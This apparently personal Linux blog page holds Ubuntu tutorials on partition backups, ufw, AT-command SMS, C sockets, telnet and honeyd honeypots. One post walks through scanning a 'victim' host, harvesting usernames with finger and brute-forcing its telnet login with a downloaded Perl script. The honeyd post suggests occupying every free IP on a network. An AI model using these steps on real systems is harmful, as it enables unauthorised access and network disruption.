PoiNtEr->: ubuntu

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Showing posts with label ubuntu. Show all posts
Showing posts with label ubuntu. Show all posts

Wednesday, January 2, 2013

BACKUP PARTITION TABLE


In computer hardware, GUID Partition Table (GPT) is a standard for the layout of the partition table on a physical hard disk. Although it forms a part of the Extensible Firmware Interface (EFI) standard (Intel's proposed replacement for the PC BIOS), it is also used on some BIOS systems because of the limitations of MBR partition tables, which use 32 bits for storing logical block addresses and size information. For disks with 512-byte sectors, the MBR partition table entries allow up to a maximum of 2.20 TB (2.20 × 1012 bytes) or 2 TiB−512 bytes (2,199,023,255,040 bytes or 4,294,967,295 (232−1) sectors × 512 (29) bytes per sector).[1] GPT allocates 64 bits for logical block addresses and therefore allows a maximum disk and partition size of 264−1 sectors. For disks with 512-byte sectors, that would be 9.4 ZB (9.4 × 1021 bytes)[1][2] or 8 ZiB−512 bytes (9,444,732,965,739,290,426,880 bytes or 18,446,744,073,709,551,615 (264−1) sectors × 512 (29) bytes per sector).
Using Following two ways you can store Partition table.


1:)dd the old good command which now backup partition tables. Backing up partition is nothing but actually backing up MBR (master boot record). The command is as follows for backing up MBR stored on /dev/sdX or /dev/hdX depending upon whether you are using scsi or ide :

# dd if=/dev/sdX of=/tmp/sda-mbr.bin bs=512 count=1

Replace X with actual device name such as /dev/sda.

Now to restore partition table to disk, all you need to do is use dd command:
# dd if= sda-mbr.bin of=/dev/sdX bs=1 count=64 skip=446 seek=446

 446 bytes of Bootstrap code, then 4 partition entries x 16 bytes = 64 bytes, then 2 bytes of signature (a 16 bit number = 0101010110101010).


2:)
We can get a quick look on all the existing partitions on all the available hard drives with fdisk using the -l switch without any other parameter




mango@pineapple:~$ sudo fdisk -l
[sudo] password for mango: 

Disk /dev/sda: 16.1 GB, 16106127360 bytes
255 heads, 63 sectors/track, 1958 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x0000a1e3

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        1870    15020743+  83  Linux
/dev/sda2            1871        1958      706860    5  Extended
/dev/sda5            1871        1958      706828+  82  Linux swap / Solaris



mango@pineapple:~$ sudo sfdisk -d /dev/sda
# partition table of /dev/sda
unit: sectors

/dev/sda1 : start=       63, size= 30041487, Id=83, bootable
/dev/sda2 : start= 30041550, size=  1413720, Id= 5
/dev/sda3 : start=        0, size=        0, Id= 0
/dev/sda4 : start=        0, size=        0, Id= 0
/dev/sda5 : start= 30041613, size=  1413657, Id=82

Using sfdisk with the -d option we can get a dump of the current partition table in a regular file, and if needed we can restore it from that file:
sfdisk -d /dev/sda > sdaTable
and to restore the partition table:
sfdisk /dev/sda <>sdaTable



Friday, December 28, 2012

ufw - Uncomplicated Firewall


The Linux kernel includes the Netfilter subsystem, which is used to manipulate or decide the fate of network traffic headed into or through your server. All modern Linux firewall solutions use this system for packet filtering.
The kernel's packet filtering system would be of little use to administrators without a userspace interface to manage it. This is the purpose of iptables. When a packet reaches your server, it will be handed off to the Netfilter subsystem for acceptance, manipulation, or rejection based on the rules supplied to it from userspace via iptables. Thus, iptables is all you need to manage your firewall if you're familiar with it, but many frontends are available to simplify the task.

ufw - Uncomplicated Firewall
The default firewall configuration tool for Ubuntu is ufw. Developed to ease iptables firewall configuration, ufw provides a user friendly way to create an IPv4 or IPv6 host-based firewall.

ufw by default is initially disabled. From the ufw man page:

“ ufw is not intended to provide complete firewall functionality via its command interface, but instead provides an easy way to add or remove simple rules. It is currently mainly used for host-based firewalls. ”

The following are some examples of how to use ufw:

First, ufw needs to be enabled. From a terminal prompt enter:

sudo ufw enable
To open a port (ssh in this example):

sudo ufw allow 22
Rules can also be added using a numbered format:

sudo ufw insert 1 allow 80
Similarly, to close an opened port:

sudo ufw deny 22
To remove a rule, use delete followed by the rule:

sudo ufw delete deny 22
It is also possible to allow access from specific hosts or networks to a port. The following example allows ssh access from host 192.168.0.2 to any ip address on this host:

sudo ufw allow proto tcp from 192.168.0.2 to any port 22
Replace 192.168.0.2 with 192.168.0.0/24 to allow ssh access from the entire subnet.

Adding the --dry-run option to a ufw command will output the resulting rules, but not apply them. For example, the following is what would be applied if opening the HTTP port:

 sudo ufw --dry-run allow http
*filter
:ufw-user-input - [0:0]
:ufw-user-output - [0:0]
:ufw-user-forward - [0:0]
:ufw-user-limit - [0:0]
:ufw-user-limit-accept - [0:0]
### RULES ###

### tuple ### allow tcp 80 0.0.0.0/0 any 0.0.0.0/0
-A ufw-user-input -p tcp --dport 80 -j ACCEPT

### END RULES ###
-A ufw-user-input -j RETURN
-A ufw-user-output -j RETURN
-A ufw-user-forward -j RETURN
-A ufw-user-limit -m limit --limit 3/minute -j LOG --log-prefix "[UFW LIMIT]: "
-A ufw-user-limit -j REJECT
-A ufw-user-limit-accept -j ACCEPT
COMMIT
Rules updated
ufw can be disabled by:

sudo ufw disable
To see the firewall status, enter:

sudo ufw status
And for more verbose status information use:

sudo ufw status verbose
To view the numbered format:

sudo ufw status numbered

AT-Commands


In this tutorial I will walk through the steps of sending and receiving text message (SMS) from your Ubuntu laptop using a package called minicom. We also need a modem which dials into the telco provider. For this I use a USB Wifi modem.


Firstly connect the USB Wifi modem to a USB port of your laptop or PC. Fire up your mnicom program. If it was not installed, you can easily do so by typing:

#apt-get install minicom

To launch minicom, type:

root@ubuntu:~/script# minicom -m

Welcome to minicom 2.3

OPTIONS: I18n



Port /dev/ttyUSB1

Press ESC,Z for help on special keys

AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0

OK

You will get a OK prompt, which means that your minicom recognizes the USB Wifi modem. You can configure the device when in OK prompt using a combination of keys i.e. Press Ctrl and A together and release.Then press Z for the menu. In the menu you should press O to configure minicom.

One of the important settings is the port settings. In my case it is set at /dev/ttyUSB1. In case you need to terminal into a Ciso router, you can try /dev/ttyS0. To do this press Ctrl and A together and release.Then press Z for the menu. In the menu you should press O to configure minicom. Select Serial Port setup



Set the Bps as 115200 8N1

Now let’s send a SMS to your own mobile phone. At the OK prompt in minicom type:
Send a message to your handphone

at+cmgf=1

OK

at+cmgw=”some_mobile_number”

For example,

at+cmgw=”12345678″

> its fun

>

Press Ctrl+Z when you finish typing your message. In my case I don’t need to type the country code +91

+CMGW: 1

OK

at+cmss=1

+CMSS: 0

OK

My handphone received the SMS

To read the SMS,

at+cmgl=”all”

+CMGL: 1,”STO SENT”,”mobilenumber”,,

its fun

+CMGL: 0,”STO UNSENT”,”+mobilenumber”,,

hello !!

OK

at+cmgr=0

+CMGR: “STO UNSENT”,”+mobilenumber”,

hello !!

OK


Making calls from Modem to Mobile Pphone

ATDmobilenumber;
Reading messages on your Wifi Modem SIM Card

Read all the messages

at+cmgl=”all”

+CMGL: 0,”REC READ”,”+91mobilenumber”,,”10/06/20,19:43:29+32″

It works!

+CMGL: 1,”REC UNREAD”,”+91mobilenumber”,,”10/06/21,19:03:10+32″

chill

The latest SMS is unread

Read the SMS

at+cmgr=1

+CMGR: “REC READ”,”+91mobilenumber”,,”10/06/21,19:03:10+32″

chill

OK

Now the status is read

at+cmgl=”all”

+CMGL: 0,”REC READ”,”+91mobilenumber”,,”10/06/20,19:43:29+32″

It works!

+CMGL: 1,”REC READ”,”+91mobilenumber”,,”10/06/21,19:03:10+32″

chill

OK

Reading package lists... Error!



  1. rm /var/lib/dpkg/status
  2. cp /var/lib/dpkg/status-old /var/lib/dpkg/status
  3. rm -rf /var/lib/apt/lists/*
  4. dpkg --configure -a
  5. apt-get update
  6. apt-get install -f

Wednesday, June 27, 2012

Socket programming in C


This is a quick tutorial to learning socket programming in C language on a Ubuntu system. “Ubuntu” because the code snippets shown over here will work only on a Linux system and not on Windows. 

Socket
Sockets are the fundamental “things” behind any kind of network communications done by your computer. For example when you type www.vishalmishra.tk in your web browser, it opens a socket and connects to www.vishalmishra.tk to fetch the page and show it to you. 
A network socket is an endpoint of an inter-process communication flow across a computer network. Today, most communication between computers is based on the Internet Protocol; therefore most network sockets are Internet sockets.
An Internet socket is characterized by a unique combination of the following:Local socket address: Local IP address and port numberRemote socket address: Only for established TCP sockets. As discussed in the client-server section below, this is necessary since a TCP server may serve several clients concurrently. The server creates one socket for each client, and these sockets share the same local socket address.Protocol: A transport protocol (e.g., TCP, UDP, raw IP, or others). TCP port 53 and UDP port 53 are consequently different, distinct sockets.Within the operating system and the application that created a socket, the socket is referred to by a unique integer number called socket identifier or socket number. The operating system forwards the payload of incoming IP packets to the corresponding application by extracting the socket address information from the IP and transport protocol headers and stripping the headers from the application data.
Socket types
There are several Internet socket types available:
Datagram sockets, also known as connectionless sockets, which use User Datagram Protocol (UDP)
Stream sockets, also known as connection-oriented sockets, which use Transmission Control Protocol (TCP) or Stream Control Transmission Protocol (SCTP).
Raw sockets (or Raw IP sockets), typically available in routers and other network equipment. Here the transport layer is bypassed, and the packet headers are made accessible to the application.
Creating a socket
This first thing to do is create a socket. The socket() function does this.
Here is a code sample :
#include<stdio.h>
#include<sys/socket.h>
int main(int argc , char *argv[])
{
int socket_desc;socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
return 0;
}
Function socket() creates a socket and returns a socket descriptor which can be used in other network commands. The above code will create a socket of :
Address Family : AF_INET (this is IP version 4)
Type : SOCK_STREAM (this means connection oriented TCP protocol)
Protocol : 0 [ or IPPROTO_IP This is IP protocol]Ok , so you have created a socket successfully. But what next ?
Now  we shall try to connect to some server using this socket. 
Connect to a Server
We connect to a remote server on a certain port number. So we need 2 things , IP address and port number to connect to.To connect to a remote server we need to do a couple of things. First is create a sockaddr_in structure with proper values filled in. Lets create one for ourselves :
struct sockaddr_in server;
Have a look at the structure
// IPv4 AF_INET sockets:
struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

struct in_addr {
    unsigned long s_addr;          // load with inet_pton()
};

struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};

The sockaddr_in has a member called sin_addr of type in_addr which has a s_addr which is nothing but a long. It contains the IP address in long format.
Function inet_addr is a very handy function to convert an IP address to a long format. This is how you do it :
server.sin_addr.s_addr = inet_addr("46.51.216.186");
So you need to know the IP address of the remote server you are connecting to. Here we used the ip address of duckduckgo.com as a sample. A little later on we shall see how to find out the ip address of a given domain name.
The last thing needed is the connect function. It needs a socket and a sockaddr structure to connect to. Here is a code sample.
#include<stdio.h>
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr

int main(int argc , char *argv[])
{
 int socket_desc;
 struct sockaddr_in server;
 
 //Create socket
 socket_desc = socket(AF_INET , SOCK_STREAM , 0);
 if (socket_desc == -1)
 {
  printf("Could not create socket");
 }
  
 server.sin_addr.s_addr = inet_addr("46.51.216.186");
 server.sin_family = AF_INET;
 server.sin_port = htons( 80 );

 //Connect to remote server
 if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)
 {
  puts("connect error");
  return 1;
 }
 
 puts("Connected");
 return 0;
}
It cannot be any simpler. It creates a socket and then connects. If you run the program it should show Connected.
Try connecting to a port different from port 80 and you should not be able to connect which indicates that the port is not open for connection.
Now in next post we will see how to send some data to remote server.

Friday, June 8, 2012

Install and Configure Telnet Server in Ubuntu-12.04


You will find the Telnet server installation packages in Synaptic under the telnetd package.If you want to install telnet server package you can also use the following command


sudo apt-get install xinetd telnetd


This will complete the installation.Now you Restart inetd service using the following command


sudo /etc/init.d/inetd restart


Once installed now go to terminal and follow following instruction
1:Create /etc/inetd.conf ,if it already exist then no need to create just open it with your favorite editor


sudo vi /etc/inetd.conf


add following line in it if its already there then uncomment it: 

telnet         stream  tcp     nowait  telnetd.telnetd /usr/sbin/tcpd  /usr/sbin/in.telnetd

you can now fire up your other Linux box and type telnet . You are prompted to enter your username and password. The whole conversation should look like this



vishal@Eva:~$ telnet localhost
Trying 192.168.2.200...
Connected to localhost.
Escape character is '^]'.
Ubuntu 12.04 LTS
Eva.localhost login: vishal
Password: 
Last login: Wed Jun  6 12:26:51 IST 2012 on tty2
Welcome to Ubuntu 12.04 LTS (GNU/Linux 2.6.38-10-generic i686)


 * Documentation:  https://help.ubuntu.com/


75 packages can be updated.
25 updates are security updates.


*** /dev/sda5 will be checked for errors at next reboot ***


You have new mail.
vishal@Eva:~$ 

you can also try it from other system or from virtual machine(xp or any) to connect by using 
“telnet ip address” of linux machine which is running telnet sever,after this it will ask you for login and thats it !!

Note that the server responds with Welcome to telnetserver, running Ubuntu LAMP server, which is a customized message. Your machine will probably respond with Ubuntu and some version information. This is insecure: giving away version numbers is never a smart move. In fact, even saying Ubuntu is questionable. Edit the issue and issue.net files in your /etc directory to change these messages.
Running the w command now shows you as connecting from the external IP address.
like:

vishal@Eva:~$ w
 12:36:11 up  2:47,  4 users,  load average: 0.58, 0.47, 0.65
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
vishal   pts/1    :0               10:05   43:05   0.40s  2:21  gnome-terminal
vishal   pts/4    :0               11:53   42:57   0.82s  2:21  gnome-terminal
vishal   pts/5    localhost    12:35    0.00s  0.75s  0.01s w
vishal   pts/6    :0               12:16    0.00s  0.44s  0.00s telnet localhost

Thursday, May 17, 2012

Install Honeyd on Ubuntu


                       
Firstly, open up your terminal. Then update your package listings as shown below:

Eva@Vishal~$ sudo apt-get update

Next, install honeyd and its dependencies using apt-get.

Eva@Vishal~$ sudo apt-get install honeyd honeyd-common

The package “honeyd” contains the actual honeyd service, and “honeyd-common” contains various scripts and extra components that will emulate all of the port services on the virtual honeypots, such as SSH, HTTP, rsh, etc.
My configuration files in /etc/honeypot/

1:honeyd.conf

create default
set default default tcp action block
set default default udp action block
set default default icmp action block

create windows
set windows personality "Microsoft Windows XP Professional SP1"
set windows default tcp action reset
add windows tcp port 135 open
add windows tcp port 139 open
add windows tcp port 445 open

set windows ethernet "00:00:24:ab:8c:12"
dhcp windows on eth1

2:fakemachine.conf

create windows
set windows personality "Microsoft Windows XP Professional"
add windows tcp port 80 "sh scripts/web.sh"
add windows tcp port 25 "perl scripts/snmp/fake-snmp.pl"
add windows tcp port 23 "perl scripts/telnet/faketelnet.pl"
add windows tcp port 139 open
add windows tcp port 137 open
add windows udp port 137 open
add windows udp port 135 open
set windows default tcp action reset
set windows default udp action reset
set windows ethernet "00:00:24:ab:8c:12"
bind 192.168.2.50 windows


To load the honeypot(s) into honeyd and deploy them, simply enter the appropriate commands.
Eva@Vishal~$ honeyd -d -f honeypots.conf

The -d parameter forces honeyd not to run in the background as a daemon and dumps any and all output information into the terminal. If you wish to log the data  into a file, simply use the -l option.
Eva@Vishal~$ honeyd -d -f honeypots.conf -l log.out

Starting Nmap 5.21 ( http://nmap.org ) at 2012-05-26 21:48 IDT

Interesting ports on 192.168.1.50:

PORT     STATE  SERVICE
23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        http
.
.
.
Now with some Magic commands you can create fakemachines on all empty ip's.
Well you can use this technique to capture ipv4 address , using farpd with honeyd.
Remember No one will be able to connect to your network if you run honeyd on whole network using following command:
honeyd -d -i wlan0 -f /etc/honeypot/myfakemachine.conf 192.168.2.0/24 &
with farpd actively running. 
I things thats enough i have already told you just try to figure out by your self and Go and hack Your network before some other guy hack it.

Have Any Question feel free to Comment Below:-)



HoneyD Network Architecture






As can be seen, the design has three distinct network segments:


  • Publicly route-able IPs
  • Internal network for honeypot hosts
  • Virtual network for honeyd guest systems. These IP addresses sit on loopback interface on the host, with a static route on the firewall to pass all virtual traffic to the honeyd host.

Using a perimeter firewall with NAT/PAT capabilities allows easy switching between emulated systems and services if your public IP resources are limited; a large network of guests can be configured in advance and left static, then a quick firewall change is all that is required to expose different systems to the world.

Additionally, as much as honeypot systems are designed to be compromised and collect information of malicious attacks (or perhaps more correctly, because of this) , low-interaction systems like honeyd is designed to avoid full compromise. If something goes wrong and the host system gets fully compromised, a (sufficiently configured) perimeter firewall provides some control of outgoing traffic, limiting the attackers options for using the honeypot sensor to attack other systems.

HoneyD -- A Virtual Honeypot


Introduction
Welcome, fellow hackers! This time, I will review a very nice hacking tool that I really find interesting: honeyd (pronounced “honey-dee” or “honey-daemon”). It is a powerful virtual honeypot tool written by Niels Provos and released as open source under the GNU General Public License, as part of the Honeynet project. It runs on GNU/Linux distributions and *BSD’s.

To anyone who doesn’t know, a honeypot is a public or private computer that is intentionally left insecure, unpatched, without an antivirus or firewall, etc. which actually encourages malicious hackers to attack it. This is a perfect tool for catching potential black-hat network intruders or spammers and monitoring their behavior, or even giving hackers a huge playground to explore andput their networking skills to the test without disrupting others.

If you have the cash, you can even set up multiple honeypots in your home or workplace, which act as convincing “decoy machines” that can help protect your legitimate computers from crackers. Networks like these are called honeynets. Now, let’s back up a bit. Note the keywords in the first sentence: If you have the cash. Setting up a honeynet as a hobbyist can be hard, space-wise and money-wise, but honeyd solves both of these issues completely with a quite revolutionary technology: virtual honeypots.



HoneyD is a Virtual Honeypot

Your typical, run-of-the-mill honeypots are made up of physical computers interlinked together, and finally, to the internet, should you wish. While it is foolproof, works effectively, and makes logging and forensics simple, it can be very costly to set up for a hobbyist, as it requires them to buy many large servers,  baby them, and run up the home electric bill. Remember that in most cases, more = better. There is also the additional risk of a malware infection leaking out of a honeypot onto a legitimate computer and destroying it.

The best way to solve this problem virtual honeypot, which is basically a daemon running on one or a several computers that generates virtual honeypot computers and places them on the network. Instead of having to buy and set up multiple physical computers, you now only need one computer which can generate as many virtual honeypots as you wish.

honeyd is an open source application that tries to achieve that goal. Each and every honeypot is defined as a config file that you load and deploy. You can define virtually any aspect of these honeypots with a simple text editor, such as its operating system, ports, and more. Through the “honeyd-common” package, found in most Debian/*buntu repositories, honeyd can emulate a whole slew of port services, such as HTTP, FTP, telnet, rsh, SMTP, and plenty more.

When would a virtual honeypot be used in the real world? Here is an example scenario: a small company has three servers full of important data that it needs to protect vigilantly, as it cannot risk a malicious hacker break-in. All of the servers have an IDS (intrusion detection system) installed. If one of the servers is running honeyd, it will appear to any attackers that there are hundreds of computers on the network, when really there are only three.

The attacker will have to do much more research and perhaps think twice before hacking, for if they make one mistake and attack a honeypot, then the IDS will have them caught red-handed. Their IP address and attack methods will be logged, their port listings and network traffic recorded, and the timeframes noted. Remember that all of the attack’s details can be accessed and observed in real-time from the three legitimate servers running honeyd. It truly is the perfect trap, don’t you think?


  Feature List

  • Manipulates TCP/IP packets to create the illusion that there is a host on the network.
  • At the time of this writing, honeyd supports up to 65,536 hosts at once.
  • Convincingly emulates a plethora of port services.
  • Can impersonate up to a thousand different operating systems.
  • User can define unique virtual hosts using simple config files.
  • Lets you catch spammers and network intruders, as well as observe the their behaviors.
  • Safe and isolated from the true host computer(s).




Tuesday, April 10, 2012

Crack Telnet Password Using Brute Force




First Install Zenmap on your ubuntu machine:
sudo apt-get install zenmap

Now open your terminal and use following command to check open ports on victim's system
nmapfe
now in gui prompt put the ip address of victim in target box.

Output(sample):

Starting Nmap 5.21 ( http://nmap.org ) at 2012-04-11 07:20 IST
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 07:20
Scanning 192.168.2.10 [1 port]
Completed ARP Ping Scan at 07:20, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:20
Completed Parallel DNS resolution of 1 host. at 07:20, 0.09s elapsed
Initiating SYN Stealth Scan at 07:20
Scanning 192.168.2.10 [1000 ports]
Discovered open port 445/tcp on 192.168.2.10
Discovered open port 80/tcp on 192.168.2.10
Discovered open port 23/tcp on 192.168.2.10
Discovered open port 139/tcp on 192.168.2.10
Completed SYN Stealth Scan at 07:20, 2.70s elapsed (1000 total ports)
Initiating Service scan at 07:20
Scanning 4 services on 192.168.2.10
Completed Service scan at 07:20, 11.04s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.2.10
Retrying OS detection (try #2) against 192.168.2.10
Retrying OS detection (try #3) against 192.168.2.10
Retrying OS detection (try #4) against 192.168.2.10
Retrying OS detection (try #5) against 192.168.2.10
NSE: Script scanning 192.168.2.10.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 07:21
Completed NSE at 07:21, 0.08s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.2.10
Host is up (0.0021s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
23/tcp  open  telnet      Linux telnetd
80/tcp  open  http        Apache httpd 2.2.17 ((Ubuntu))
|_html-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:24:2B:DB:74:9F (Hon Hai Precision Ind.Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.21%D=4/11%OT=23%CT=1%CU=35230%PV=Y%DS=1%DC=D%G=Y%M=00242B%TM=4F
OS:84E390%P=i686-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST
OS:11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)EC
OS:N(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW6%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)


Uptime guess: 0.011 days (since Wed Apr 11 07:05:17 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux


Host script results:
| nbstat:  
|   NetBIOS name: UMESH-VOSTRO151, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|   Names
|     UMESH-VOSTRO151<00>  Flags: <unique><active>
|     UMESH-VOSTRO151<03>  Flags: <unique><active>
|     UMESH-VOSTRO151<20>  Flags: <unique><active>
|     WORKGROUP<1e>        Flags: <group><active>
|_    WORKGROUP<00>        Flags: <group><active>
| smb-os-discovery:  
|   OS: Unix (Samba 3.5.8)
|   Name: Unknown\Unknown
|_  System time: 2012-04-11 07:21:12 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol


HOP RTT     ADDRESS
1   2.10 ms 192.168.2.10


Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds
           Raw packets sent: 1134 (53.704KB) | Rcvd: 1076 (46.608KB)



Now Download following files and extract them:

Open a new Terminal and browse to extracted files and put following command in it:
To get the username use:
finger@ 192.168.2.10 (ipaddress of victim)
output:
umesh root

Now To brute-force run perl script with given parameters.
perl Telnet_Crack.pl -h 192.168.2.10 -u umesh -P polish

output:
TRYING : USERNAME = XXXX PASSWORD = password

ATTEMPTING CONNECTION TO 192.168.2.10.

OK ... CONNECTED!!!



it will take time and it depends on the strength of password that how long you have to wait to get the result.

Tuesday, March 27, 2012

install Conky on Ubuntu (11.04,11.10 &12.04)


Conky is a free, light-weight system monitor for X, that displays any information on your desktop. There are many nice themes available for conky that can display clock, CPU usage, ram usage, swap,disk, net and more, one of these nice themes is Conky-Lua, this theme (See screenshots bellow) allow you to display nice rings for Clock,and cpu. This  theme is available for Ubuntu.
Install it using following command:


sudo apt-get install conky-all

Conky Bar
Now to get this theme follow these steps:

1:Download this file and extract it.There are three files in it.

2:copy .conkyrc to your home directory.

3:make a folder .conky in your home directory.
mkdir /home/vishal/.conky
copy other 2 files in this directory.

4:Now to get temperature of your zone open .conkyrc
and search for word "VILK".
Now goto http://weather.noaa.gov and find weather of your region...
there you will get a code similar to "VILK".Now just replace your region code with "VILK" and you are good to go...

5:To start conky at every system  startup make a shell file named conky.sh

add following lines in  it:
#!/bin/sh
sleep 20
conky

save it.
Now goto SYSTEM =>PREFERENCE=>STARTUP APPLICATIONS
And add an new entry as shown below (remember in Command attribute add location where you have stored your conky.sh file):